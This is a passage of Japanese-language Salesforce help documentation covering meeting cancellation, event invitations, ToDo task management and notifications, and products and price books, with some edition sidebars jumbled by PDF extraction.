ミーティングをキャンセルでき、Salesforce から招待者にキャンセル通知が自動
送信されます。確認済みのミーティングは行動に変換され、他の行動と同様に
削除できます。
1. ミーティングを開くには、次のいずれかのメソッドを使用します。

• [ホーム] の [カレンダー] セクションから [要請済みミーティング]サブタブ
をクリックし、ミーティングの件名をクリックします。[要請済みミーティ
ング] サブタブが [カレンダー] セクションに表示されない場合は、そのサ
ブタブを追加するようシステム管理者に依頼してください。

• 取引先責任者、リード、または個人取引先の [活動予定] 関連リストから
ミーティングを要請した場合、関連リストのミーティングの件名をクリッ
クします。

• 招待者がミーティング要請に返答すると送信されるメール通知から [返答
の表示とミーティングのスケジュール] をクリックする。

2. [ミーティングをキャンセル] をクリックします。
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[活動予定] 関連リストから該当するミーティングの横にある [削除] をクリックして削除することもできま
す。

メモ: ページに表示されているボタンが [閉じる] のみの場合、要請済みミーティングを変更する権限
がありません。主催者に代理でのミーティングの詳細変更を依頼するか、Salesforce システム管理者に
問い合わせて必要な権限の付与を依頼します。

3. [OK] をクリックしてキャンセルを確認します。
Salesforce からすべての招待者にミーティングのキャンセルを通知するメールが送信されます。キャンセル
されたミーティングは完全に削除され、ごみ箱に保存されません。

Salesforce Classic での行動への招待に対する返答

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

行動への招待を受諾または拒否します。招待を受諾した後、その行動を Outlook

に追加できます。
同僚から行動に招待されると、その行動へのリンクが記載されたメールを受信
します。この行動は [ホーム] タブにも表示されます。行動を受諾または拒否す
る手順は、次のとおりです。
1. 行動の説明をクリックします。
2. 必要に応じて、返答を入力します。
3. 行動が単独の行動の場合、[ミーティングに参加する]または[ミーティングに

参加しない] をクリックします。定期的な行動に招待された場合、[定期的に参加する] または [すべて参加
しない] をクリックします。

メモ: 定期的な行動のうち、一部の行動に参加し残りの行動は拒否する場合、定期的な行動を受諾し
てから特定の行動を拒否します。

関連トピック:

Salesforce Classic での行動に対する Outlook の予定の作成

ToDo
Salesforceで ToDo リストを保持し、案件や取引先を完全に掌握します。リード、取引先責任者、キャンペーン、
契約のレコードや、他の必要な情報に、すべての ToDo を簡単に関連付けます。Salesforce には、ToDo の迅速な
作成と更新、事前に絞り込まれた ToDo リスト、ToDo 通知オプションなど、生産性を最大限に高めるためのツー
ルがいくつか用意されています。

1. ToDo の管理
Salesforce では、ToDo は、作業を追跡し、商談を成立させるための強力なツールです。ToDo を商談、リー
ド、取引先、取引先責任者に関連付けて、それらのレコード、リスト、レポートで ToDo を管理します。
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2. ToDo を使用する場合の考慮事項
Salesforce では、ToDo の期日は常に [私の設定] で選択したタイムゾーンで表示されます。Salesforce システム
管理者は、ToDo を閉じるための条件を追加できます (コメントの入力を要求するなど)。Salesforce システム
管理者が ToDo に対して複数の [完了] または [進行中] の状況を設定していた場合は、状況を選択して続行し
ます。ToDo の操作は、Lightning Experience と Salesforce Classic では異なります。

3. ToDo の繰り返し
定期的な ToDo の期日を簡単に調整したり、今後使用する ToDo リストで定期的な ToDo の乱雑さを軽減しま
す。繰り返し ToDo を使用すると、選択したトリガに基づく指定日数が経過した時点で ToDo が繰り返され
ます。次の ToDo は、現在の ToDo の期日になったか、現在の ToDo が完了済みとマークされた時点で作成さ
れます。繰り返し ToDo は、ToDo を指定日に実行する必要がない場合に、定期的な ToDo に代わる合理的な
方法です。

4. Salesforce Classic での複数ユーザへの ToDo の割り当て
最大 100 人の同僚に同じ ToDo の独立したコピーを割り当てることができます。たとえば、適切な期日が設
定された「経費申請」という ToDo を作成し、取引先の営業担当チームに割り当てることができます。

5. ToDo 通知
ToDo が割り当てられたときにメール通知を送受信するオプションを設定します。

関連トピック:

活動
行動とカレンダー

ToDo の管理
Salesforce では、ToDo は、作業を追跡し、商談を成立させるための強力なツールです。ToDo を商談、リード、
取引先、取引先責任者に関連付けて、それらのレコード、リスト、レポートで ToDo を管理します。

1. Lightning Experience での ToDo の管理
自分の ToDo、他のユーザに委任した ToDo、および商談、リード、取引先、取引先責任者の ToDo を作成、
更新、および監視します。ホームページ、ToDo リスト、または活動タイムラインを使用します。レポート
で ToDo を追跡することも可能です。

2. Salesforce Classic での ToDo の管理
Salesforce では、自分や他のユーザの ToDo の追跡、作成、および更新を異なる場所で行うことができます。
ToDo は、活動リストビューやカレンダービュー、Chatter フィード、ToDo に関連するレコード (取引先責任
者や取引先など) に表示されます。レポートで ToDo を追跡することも可能です。
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Lightning Experience での ToDo の管理

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ユーザ権限

ToDo を作成する
• 「ToDo の編集」

自分の ToDo、他のユーザに委任した ToDo、および商談、リード、取引先、取引
先責任者の ToDo を作成、更新、および監視します。ホームページ、ToDo リス
ト、または活動タイムラインを使用します。レポートで ToDo を追跡することも
可能です。

Use Tasks in Lightning Experience to Boost Sales Productivity (Lightning Experienceでの ToDo

を使用した営業の生産性向上)

• ホームページの [今日の ToDo] には、本日が期日の今後の 5 つの ToDo が表示さ
れます。

• 商談の Kanban ビューでは、ToDo が期限切れの場合や活動予定が存在しない場
合、カードにアラートが表示されます。ToDo を作成または更新するには、黄
色の三角形をクリックします。

• 個別の商談、リード、取引先、または取引先責任者では、コンポーザと活動
タイムラインを使用して、ToDo、ミーティング、電話、メールを作成および
操作します。

• ToDo リストを使用して、本日が期日の ToDo、すべての未完了の ToDo、期限
切れの ToDo、過去 7 日間に完了した ToDo を処理します。ナビゲーションメニューで、[ToDo] に移動し、
ビューを選択します。
最近期限が切れた ToDo (期限が過去 30 日以内) を保持しながら邪魔にならないようにするために、[私の ToDo]

では、そのような ToDoが 10 件以上ある場合は折りたたまれます。[すべての期限切れ] には、すべての期限
切れの ToDo が含まれます。[代理]には、ユーザが作成し、Salesforce組織のロール階層が自分より下位のユー
ザに割り当てた ToDo が表示されます。
活動レポートを使用して、Salesforce 組織のロール階層が自分より下位のユーザに割り当てられた ToDo を参
照することもできます。

メモ:  ToDo を削除しなくても、ToDo から取引先責任者やレコードを削除できます。たとえば、取引先責
任者 A と取引先責任者 B に関連している ToDo を取引先責任者 A のみに関連させるとします。ToDo を削除
するのではなく、取引先責任者 B を [名前] 項目から削除します。

関連トピック:

Lightning Experience で ToDo を使用する場合の考慮事項
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Salesforce Classic での ToDo の管理

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成する
• 「ToDo の編集」

Salesforce では、自分や他のユーザの ToDo の追跡、作成、および更新を異なる場
所で行うことができます。ToDo は、活動リストビューやカレンダービュー、
Chatter フィード、ToDo に関連するレコード (取引先責任者や取引先など) に表示
されます。レポートで ToDo を追跡することも可能です。

ToDo の追跡
自分または他のユーザに属する ToDo は次の場所で追跡できます。活動リスト
ビューを表示するには、[ホーム] タブまたはカレンダービューにある をク
リックするか、カレンダーの日表示または週表示に移動します。
自分に割り当てられた ToDo

• [ホーム] タブの [私の ToDo] セクション
• 活動リストビュー: 既存のリストビューを選択するか、新しいビューをカスタマイズします。
• Chatter フィード: 投稿、コメント、更新を追跡する ToDo をフォローします。

期日が近い ToDo

• [私の活動] リストビュー
• iOS または Android 向けの Salesforce1 アプリケーションの [今日]

• Salesforce1 の [私の ToDo] リスト
別のレコード (取引先責任者や取引先など) に関連する ToDo

• 他のレコードの詳細ページの [活動予定] または [活動履歴] 関連リスト
• 自分の Chatter フィードおよび他のレコードの Chatter フィード
• 活動レポート

メモ:  ToDo 全体を削除することなく、ToDo の取引先責任者またはレコードを除外できます。たとえ
ば、取引先責任者 A と取引先責任者 B に関連している ToDo を取引先責任者 A のみに関連させると
します。ToDo を削除するのではなく、取引先責任者 B を [名前] 項目から削除します。

代理 ToDo (組織の階層で自分より下位の人に割り当てられたもの)

• [私の代理活動] リストビュー
• 活動レポート
• Salesforce1 の [代理 ToDo] リスト

期限切れの ToDo

• [期限切れ] 活動リストビュー
• Salesforce1 の [期限切れの ToDo] リスト

完了した ToDo

• [私の活動] リストビュー
• Salesforce1 の [完了した ToDo] リスト
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自分が他のユーザに割り当てた ToDo

• [私の代理活動] リストビュー
• 活動レポート

組織の階層で自分より下位の人に割り当てられた ToDo

• [私のチームの活動] リストビュー
• 活動レポート

ToDo の詳細の表示
カレンダー、活動リストビュー、関連リスト、[ホーム] タブでは、次の 2 通りの方法で ToDo の詳細を表示でき
ます。
• ToDo の件名にマウスポインタを置く。
• 件名をクリックする。
ToDo の詳細ページで、定期的な ToDo ( ) のうちの 1 つの詳細を表示するには、[ToDo の参照] サブタブを選択
します。定期的な行動の詳細を表示するには、[定期的な行動の参照] サブタブを選択します。

ToDo の作成
[ホーム] タブの場合

[ホーム] タブの [私の ToDo] で、[新規] をクリックします。
Chatter フィードの場合

取引先責任者などのレコードのフィードに ToDo を作成すると、Salesforce が ToDo をレコードに自動的に関連
付けます。

サイドバーの場合
Salesforce のサイドバーでは、[新規作成] ドロップダウンリストで [ToDo] を選択します。

別のレコードの詳細ページの場合
• [活動予定] 関連リストで、[新規 ToDo] をクリックします。
• [活動履歴] 関連リストで、[活動の記録] をクリックすると、ToDo レコードが完了状況で追加されます。
Salesforce が ToDo をレコードに自動的に関連付けます。

カレンダーの日表示または週表示の場合
[私の ToDo] で、[新規] をクリックします。

活動リストビュー ( ) の場合
リストビューで、[新規 ToDo] をクリックします。

ToDo の更新
レポートを除き、ToDo の詳細を参照可能な場所であればどこからでも、編集する権限のある ToDo を編集でき
ます。
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ToDo を使用する場合の考慮事項
Salesforceでは、ToDo の期日は常に [私の設定] で選択したタイムゾーンで表示されます。Salesforceシステム管理
者は、ToDo を閉じるための条件を追加できます (コメントの入力を要求するなど)。Salesforceシステム管理者が
ToDo に対して複数の [完了] または [進行中] の状況を設定していた場合は、状況を選択して続行します。ToDo

の操作は、Lightning Experience と Salesforce Classic では異なります。

1. Lightning Experience で ToDo を使用する場合の考慮事項
ToDo を所有、表示、作成、更新する場合の考慮事項は、次のとおりです。

2. Salesforce Classic で ToDo を使用する場合の考慮事項
ToDo を所有、表示、作成、更新する場合の考慮事項は、次のとおりです。

関連トピック:

Salesforce Classic の活動アラーム

Lightning Experience で ToDo を使用する場合の考慮事項

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

ToDo を所有、表示、作成、更新する場合の考慮事項は、次のとおりです。
ToDo に設定できる所有者は一度に 1 人のみ

ToDo を所有できるユーザは 1 人のみです。その ToDo を他のユーザに再割り
当てすると、そのユーザがロール階層内で自分より下位でない場合は ToDo

リストに表示されなくなります。その場合、ToDo は ToDo リストの代理ビュー
に表示されます。

マネージャは他のユーザの ToDo を編集できない
誰でも ToDo を同僚に再割り当てできます。ロール階層のマネージャは、ロー
ル階層内で自分より下位のユーザに割り当てた ToDo を参照できます。また、
レポートを使用して、ロール階層内で自分より下位のユーザの ToDo を参照
することもできますが、編集することはできません。

ToDo 割り当てのメール通知の制限事項
Lightning Experience では、ToDo を割り当てたときにメールを送信するオプションは表示されません。また、
誰かが ToDo を割り当てたときにメールを受信する設定も表示されません。ただし、Lightning Experienceから
Salesforce Classicに切り替えると、いずれかのオプションが使用可能になります。これは、システム管理者に
よる Salesforce 組織の設定方法によって異なります。いずれかのオプションが使用可能な場合、自分自身に
割り当てた ToDo または完了状況で作成された ToDo についてのメールを受信できます。

ToDo アラームを設定できない
Lightning Experience では、ToDo アラームは表示されません。

ToDo の最大数と終了日の計算
作成できる一連の定期的な ToDo の数には制限があり、その制限は ToDo の頻度によって異なります。使用
可能な最も遅い終了日は ToDo の最大数によって決まります。
たとえば、毎月繰り返す定期的な ToDo では、最大 60 個の一連の ToDo がサポートされます。したがって、
終了日を開始日から最大 5 年間スケジュールできます。
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最も遅い終了日 (開始日から)ToDo の最大数頻度

100 日100毎日

20 週100平日

1 年53毎週

5 年60毎月

10 年10毎年

制限は、使用する Salesforce 実装によって異なる場合があります。

関連トピック:

Lightning Experience で行動およびカレンダーを使用する場合の考慮事項
活動の使用に関する考慮事項

Salesforce Classic で ToDo を使用する場合の考慮事項

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ToDo を所有、表示、作成、更新する場合の考慮事項は、次のとおりです。

定期的な ToDo ( )

許容されるのはデフォルトのレコードタイプのみ
デフォルト以外のレコードタイプを適用しても、Salesforce ではデフォルトの
レコードタイプが定期的な ToDo に適用されます。Salesforceには、デフォルト
のレコードタイプに関連付けられた選択リスト項目は表示されません。

定期的な ToDo の [期日] は無効
定期的な ToDo には異なる複数の期日があるため、[期日] 項目は無効になります。

定期的な ToDo とその中の 1 つの ToDo への変更による影響

警告: 定期的な ToDo を変更すると、将来の期日を持つ個々の ToDo への変更が上書きされます (定期的
な ToDo への変更は、期日が現在の日付より前の ToDo には影響しません)。定期的な ToDo の次のいずれ
かの設定を変更すると、期日が現在の日付より後の ToDo へのリンクが壊れます。また、トリガおよび
ワークフローもリセットされます。
• 頻度
• 繰り返しの開始日または終了日

ToDo の状況
定期的な ToDo の状況を変更することはできません。変更できるのは、定期的な ToDo に含まれる個々の ToDo

の状況のみです。
ToDo アラーム

定期的な ToDo を作成し、アラームチェックボックスをオンのままにすると、定期的な ToDo に含まれる個々
の ToDo のアラームを受信します。
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アラームを消去すると、その ToDo に関するアラームを再度受信することはありません。
ToDo への添付ファイル

定期的な ToDo にファイルを添付できます。定期的な ToDo を作成した後、定期的な ToDo に含まれる個々の
ToDo に対して添付ファイルを追加または削除できます。
添付ファイルは ToDo の詳細ページにのみ表示され、ToDo が関連する他のレコードの詳細ページには表示さ
れません。ToDo の詳細ページに [添付ファイル] 関連リストが表示されない場合、ToDo のページレイアウト
に追加するよう Salesforce システム管理者に依頼してください。

ToDo の最大数と終了日の計算
作成できる一連の定期的な ToDo の数には制限があり、その制限は ToDo の頻度によって異なります。使用
可能な最も遅い終了日は ToDo の最大数によって決まります。
たとえば、毎月繰り返す定期的な ToDo では、最大 60 個の一連の ToDo がサポートされます。したがって、
終了日を開始日から最大 5 年間スケジュールできます。

最も遅い終了日 (開始日から)ToDo の最大数頻度

100 日100毎日

20 週100平日

1 年53毎週

5 年60毎月

10 年10毎年

制限は、使用する Salesforce 実装によって異なる場合があります。

複数の取引先責任者への ToDo の関連付け (Shared Activities)

関連取引先責任者の最大数
[名前] 項目で 1 つの ToDo を 1 件の主取引先責任者を含む、最大 50 件の取引先責任者 (リードは 1 件のみ) に
関連付けることができます。[名前] 項目の横に が表示されない場合は、Shared Activities を有効化する
ように Salesforce システム管理者に依頼してください。

定期的な ToDo と割り当て先が複数の ToDo はサポート対象外
複数の取引先責任者を定期的な ToDo や複数のユーザに割り当てられた ToDo に関連付けることはできませ
ん。

ToDo の割り当て
ToDo は作成したユーザに割り当て

デフォルトでは、ToDo は作成したユーザに割り当てられます。新しい ToDo の独立したコピーを複数のユー
ザに割り当てるには、[割り当て先] の横にある をクリックし、開いたウィンドウで [複数ユーザ] タブ
をクリックします。[割り当て先] 項目は、Personal Edition では使用できません。
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ToDo 通知
メール通知

Salesforce システム管理者による Salesforce 組織の設定に応じて、次のいずれかが行われる可能性があります。
• 自分に ToDo が割り当てられるたびにメール通知を自動的に受け取る。この通知はオフにできます。個

人設定の [アラーム & アラート] ページに移動して、[私に todo が割り当てられた場合にメール送信]チェッ
クボックスをオフにします。

• 自分に ToDo が割り当てられるたびにメール通知を自動的には受け取らない。ユーザ (自分を含む) に ToDo

を割り当てたとき、そのユーザにメールを送信する場合は、ToDo 作成時に[メール通知の送信]を選択し
ます (Salesforce システム管理者による Salesforce 組織の設定に応じて、このチェックボックスを使用でき
ない場合があります)。

モバイル ToDo 通知
Salesforce1 には、別途、モバイルデバイス経由で受信する ToDo 割り当て通知の設定があります。

Chatter の ToDo

Chatter フィードに新規 ToDo を表示
新しい ToDo がリード、取引先、カスタムオブジェクトなどのレコードに関連付けられている場合、ToDo は
そのレコードのフィードに表示されます。フォローしているレコードについて、作成者に関係なく、すべ
ての ToDo のフィード項目が表示されます。

フィードの ToDo の作成
Chatter を使用してさまざまなレコードタイプの ToDo を作成できるかどうかは、Salesforce システム管理者が
指定できます。たとえば、一部のユーザはアクセス権のある取引先のフィードの ToDo を表示することはで
きるが、作成はできないということがあります。

Chatter では定期的な ToDo は表示対象外
Chatter フィードには、定期的な ToDo は全体としても個別でも表示されません。また、Chatter では定期的な
ToDo はフォローできません。

ケースフィードではメールと活動記録は対象外
ケースでは、フィードにメール ToDo または活動記録 ToDo は含まれません。

メール-to-ケース
関連付けられたメールの表示

組織がメール-to-ケースまたはオンデマンドメール-to-ケースを有効にしている場合は、一部の ToDo がメー
ル-to-ケースまたはオンデマンドメール-to-ケースのメールと関連付けられます。ToDo の一番上のリンクを
クリックして、関連付けられているメールを表示します。詳細は、「ケースメールとの連動」 (ページ2625)

を参照してください。

Salesforce for Outlook

未解決の項目
[メール to Salesforce] または Salesforce for Outlook で受信されるメールである ToDo には [私の未解決の項目] ペー
ジへリンクするバナーが表示される場合があります。関連付けられていないメールがある場合、このペー
ジを使用して、関連する Salesforce レコードに割り当てます。
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ToDo の繰り返し

エディション

Lightning Experience で使用
可能なエディション:
Contact Manager Edition、
Personal Edition、Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成する
• 「ToDo の編集」

定期的な ToDo の期日を簡単に調整したり、今後使用する ToDo リストで定期的な
ToDo の乱雑さを軽減します。繰り返し ToDo を使用すると、選択したトリガに基
づく指定日数が経過した時点で ToDo が繰り返されます。次の ToDo は、現在の
ToDo の期日になったか、現在の ToDo が完了済みとマークされた時点で作成され
ます。繰り返し ToDo は、ToDo を指定日に実行する必要がない場合に、定期的な
ToDo に代わる合理的な方法です。
ToDo の作成時に繰り返し ToDo のオプションが表示されない場合は、繰り返し
ToDo をページレイアウトに追加するよう Salesforce システム管理者に依頼してく
ださい。

1. [この ToDo を繰り返す] には、[期日後] または [完了日後] を選択します。
2. [繰り返し期間] には、ToDo の期日または完了日から次に ToDo を実行する期

日までの日数を入力します。
既存の ToDo の [この ToDo を繰り返す] が [(完了した ToDo)] に設定されている
場合は、定期的な繰り返しの一部としてその ToDo が完了したことを示します。この情報を使用して、繰り返
し ToDo をレポート用の他の ToDo と区別することができます。
Salesforce for Outlookを使用して ToDo を同期する場合は、一連の繰り返しに含まれる個々の ToDo が作成時に同期
されます。

メモ: 一連の ToDo が期日後に繰り返すように設定されている場合、期日が過去の日付となる繰り返しは
Salesforceで作成されません。代わりに、繰り返し ToDo の期日が将来の日付となるまで期間を追加します。
たとえば、ユーザが期日の 3 日後に ToDo を繰り返すように設定したが、期日の 5 日後までその ToDo を完
了しないとします。Salesforceは、すでに期限切れの ToDo を作成するのではなく、新しい ToDo の期日を明
日に設定します。
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Salesforce Classic での複数ユーザへの ToDo の割り当て

エディション

Salesforce Classic で使用可
能なエディション:
Personal Edition および
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成する
• 「ToDo の編集」

最大 100 人の同僚に同じ ToDo の独立したコピーを割り当てることができます。
たとえば、適切な期日が設定された「経費申請」という ToDo を作成し、取引先
の営業担当チームに割り当てることができます。
1. [新規 ToDo] ページで、[割り当て先] 項目の横にあるルックアップアイコン

( ) をクリックします。
2. ルックアップウィンドウで、[複数ユーザ] タブを選択します。
3. 最大 100 人のユーザ (グループのメンバーを含む) を [選択済みのユーザ] に追

加します。

ヒント: ユーザをグループにまとめる方法として、固有の意味を持った
非公開グループが便利です。詳細は、「グループの作成と編集」を参照
してください。

4. [完了] をクリックします。
[新規 ToDo] ページの [割り当て先] 項目の横に、選択内容と ToDo の総数が表示されます。

5. ToDo を保存します。
これで選択した同僚に ToDo のコピーが割り当てられました。同僚は個々の ToDo を編集、再割り当て、ま
たは削除できます。

ToDo 通知
ToDo が割り当てられたときにメール通知を送受信するオプションを設定します。

1. Lightning Experience の ToDo 通知
Lightning Experience では、ToDo を割り当てたときにメールを送信するオプションは表示されません。また、
誰かが ToDo を割り当てたときにメールを受信する設定も表示されません。ただし、Lightning Experienceから
Salesforce Classicに切り替えると、いずれかのオプションが使用可能になります。これは、システム管理者に
よる Salesforce 組織の設定方法によって異なります。いずれかのオプションが使用可能な場合、自分自身に
割り当てた ToDo または完了状況で作成された ToDo についてのメールを受信できます。詳細は、Salesforceシ
ステム管理者に確認してください。

2. Salesforce Classic の ToDo 通知
Salesforce システム管理者による組織の設定に応じて、他のユーザが ToDo を作成したか割り当てたときに
Salesforce でメール通知を送信できます。
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Lightning Experience の ToDo 通知

エディション

Lightning Experience で使用
可能なエディション:
Developer Edition、
Enterprise Edition、Group
Edition、Performance
Edition、Professional
Edition、および Unlimited
Edition

Lightning Experience では、ToDo を割り当てたときにメールを送信するオプション
は表示されません。また、誰かが ToDo を割り当てたときにメールを受信する設
定も表示されません。ただし、Lightning Experienceから Salesforce Classicに切り替え
ると、いずれかのオプションが使用可能になります。これは、システム管理者
による Salesforce 組織の設定方法によって異なります。いずれかのオプションが
使用可能な場合、自分自身に割り当てた ToDo または完了状況で作成された ToDo

についてのメールを受信できます。詳細は、Salesforce システム管理者に確認し
てください。

Salesforce Classic の ToDo 通知

エディション

Salesforce Classic で使用可
能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

ToDo を作成する
• 「ToDo の編集」

Salesforce システム管理者による組織の設定に応じて、他のユーザが ToDo を作成
したか割り当てたときに Salesforce でメール通知を送信できます。
組織で ToDo 通知が次のどの方法で機能するかを Salesforceシステム管理者に確認
してください。
• 他のユーザから ToDo を割り当てられたときのメール通知の独自の設定を選

択できる。
• ToDo を割り当てる他のユーザから ToDo のメール通知を受信するかどうかを

決定できる。
• 他のユーザから ToDo を割り当てられたときのメール通知を受信できない。
他のユーザから ToDo を割り当てられたときのメール通知の独自の設定を選択で
きる場合は、デフォルトでメール通知を受信します。メールの受信を希望しな
い場合は、設定を変更します。
• 個人設定で、[アラーム & アラート] > [行動と ToDo] にアクセスして、[私に todo が割り当てられた場合に

メール送信] を選択解除します。
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商品、価格、支払スケジュールの追跡

商品

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce の商品は、会社が顧客に提供する商品とサービスを表します。

商品の概念
Salesforce で商品を使用する前に、基本を理解しておきましょう。
商品作成のガイドライン
システム管理者または営業マネージャは、Salesforce に商品を作成して、会社
が販売する商品やサービスを追跡できます。作成した商品は、営業担当が見
積、商談、および注文に追加できます。開始する前に、いくつかの主要なガ
イドラインを確認してください。
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商品の概念

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

Salesforce で商品を使用する前に、基本を理解しておきましょう。
商品とは顧客に販売するアイテムまたはサービスです。各商品は、複数の価格
表で、さまざまな価格に設定されている場合があります。
商談、見積、注文、またはサービス契約の詳細ページを表示すると、[商品] 関連
リストまたは [見積品目名] 関連リストにそのレコードに関連付けられた商品が
表示されます。これらの関連リストを使用して、レコードの価格表の選択、商
品の追加や編集、商談の商品スケジュールの設定や編集を行うことができます。
商品をレコードに関連付けるには、レコードの詳細ページを使用します。たと
えば、見積の詳細ページで、[見積品目名] 関連リストの[商品名の追加]をクリッ
クして、見積で一覧表示する商品を選択します。
Salesforce to Salesforce を使用して外部の取引先責任者と商品を共有している場合
は、[接続先からの商品] の下のリストビューを 1 つ選択して、ビジネスパート
ナーと共有している商品を表示します。

関連トピック:

商品
商品作成のガイドライン
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商品作成のガイドライン

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

システム管理者または営業マネージャは、Salesforce に商品を作成して、会社が
販売する商品やサービスを追跡できます。作成した商品は、営業担当が見積、
商談、および注文に追加できます。開始する前に、いくつかの主要なガイドラ
インを確認してください。
• 商品を表示および作成するには、商品に対する「参照」および「作成」権限

が必要です。
• 商品の作成を開始するには、商品のホームページで [新規] をクリックしま

す。
• 既存の商品をコピーして商品を作成できます。
• 価格表で高いシステムパフォーマンスを確保するには、商品数を 200 万以下

に保ちます。
• 商品を価格表に追加するには、有効な標準価格が商品に設定されている必要

があります。
• 商品の詳細の上にある [編集]をクリックして、商品スケジュールを使用した

支払いおよび納入サイクルを定義できます。

関連トピック:

レコードの作成および更新

価格と価格表

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

価格表では、会社が顧客に提示する商品とサービスの価格が追跡されます。

価格表の概念
ここでは、価格表と価格表エントリについて学習します。
商品価格の設定および編集
会社の商品およびサービスごとの価格を設定および編集します。
カスタム価格表の作成
営業担当の販売先の市場区分ごとにカスタム価格表を作成できます。作成し
たら、商品を各市場区分に提供する価格で各価格表に追加します。たとえ
ば、国内顧客と国際顧客で販売価格が異なる場合、国内用と国際用の 2 つの
カスタム価格表を作成できます。
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価格表の共有に関するガイドライン
Salesforce Classic の共有を使用して、価格表へのアクセス権を営業チームの他のメンバーにも拡大します。
価格表の削除に関する考慮事項
価格表を関連リストから削除するには、価格表のアーカイブ、無効化、削除のいずれかを実行できます。
削除のオプションごとに結果が異なります。価格表を関連リストから削除する前に、ビジネスニーズに最
適なオプションを検討します。
価格表から商品を削除する場合の考慮事項
価格表から商品を削除する前に、いくつかの重要な考慮事項に留意してください。
商品と価格表の削除に関する考慮事項
商品または価格表を削除する前に、いくつかの重要な考慮事項に留意してください。

価格表の概念

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ここでは、価格表と価格表エントリについて学習します。
価格表は、商品とその価格のリストです。
• 標準価格表は、すべての商品とそのデフォルト標準価格のマスタリストで

す。商品レコードの作成を開始すると、Salesforce によって標準価格表が作成
されます。標準価格表には、同じ商品が含まれるカスタム価格表の有無に関
わらず、すべての商品とその標準価格が含まれます。

• カスタム価格表は、リスト価格と呼ばれるカスタム価格を含む、個別の商品
のリストです。カスタム価格表は、市場区分、地域または顧客のその他のサ
ブセットごとに異なる価格で商品を提供する場合に最適です。対応する一連
の顧客ごとに個別の価格表を作成します。たとえば、国内顧客と国際顧客の
価格セットが異なる場合、国内用の価格表と国際用の価格表を作成します。

価格表エントリは、価格表にリストされる商品とその価格です。各価格表エン
トリで、価格の通貨を指定します。
• 標準価格表エントリは、標準価格表の商品やサービスのデフォルト (標準) 価格です。商品レコードを作成

すると、Salesforce によって標準価格表エントリが作成されます。標準価格表エントリは、商品の販売をす
ぐに開始するかどうかなどに応じて、有効または無効としてマークできます。

• カスタム価格表エントリは、カスタム価格表の商品やサービスのカスタム (リスト) 価格です。カスタム価
格表エントリは、有効な標準価格表エントリのある商品でのみ作成できます。

• Lightning Experience では、[標準価格] 関連リストと [価格表] 関連リストが 1 つの [価格表] 関連リストとして商
品の詳細ページに表示されます。

• [価格表エントリ] 詳細ページレイアウトをカスタマイズする場合、ユーザインターフェースの価格表エン
トリ項目には項目の連動関係はありません。ページレイアウトから [標準価格フラグ]チェックボックスが
削除され、このチェックボックスが価格表エントリに対してオンになっている場合、リスト価格を編集で
きません。[リスト価格] 項目が無効になっており、このページでは有効にできません。

関連トピック:

価格と価格表
商品価格の設定および編集
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商品価格の設定および編集

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

会社の商品およびサービスごとの価格を設定および編集します。

Lightning Experience での商品価格の設定
異なる市場区分および顧客への販売方法に合わせて商品ごとにさまざまなタ
イプの価格を追跡できます。
Salesforce Classic での商品価格の設定および編集
異なる市場区分および顧客への販売方法に合わせて商品ごとにさまざまなタ
イプの価格を追跡できます。

関連トピック:

価格設定に関する考慮事項
商談の商品の追加および編集
商品ファミリを使用
価格表の概念
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Lightning Experience での商品価格の設定

エディション

注文を使用
可能なエ

商品、価格
表、および

ディション:見積を使用
Salesforce
Classic

可能なエ
ディション:
Salesforce
Classic と
Lightning
Experience の
両方

見積を使用
可能なエ

商品、価格
表、および

ディション:注文を使用
Performance可能なエ
Edition およディション:
びProfessional
DeveloperEdition、
Edition と、Enterprise
Sales CloudEdition、
が付属するPerformance
ProfessionalEdition、
Edition、Unlimited
EnterpriseEdition、およ
Edition、おび Developer

Edition よび
Unlimited
Edition

ユーザ権限

商品の価格を設定する
• 商品と価格表に対する

「編集」
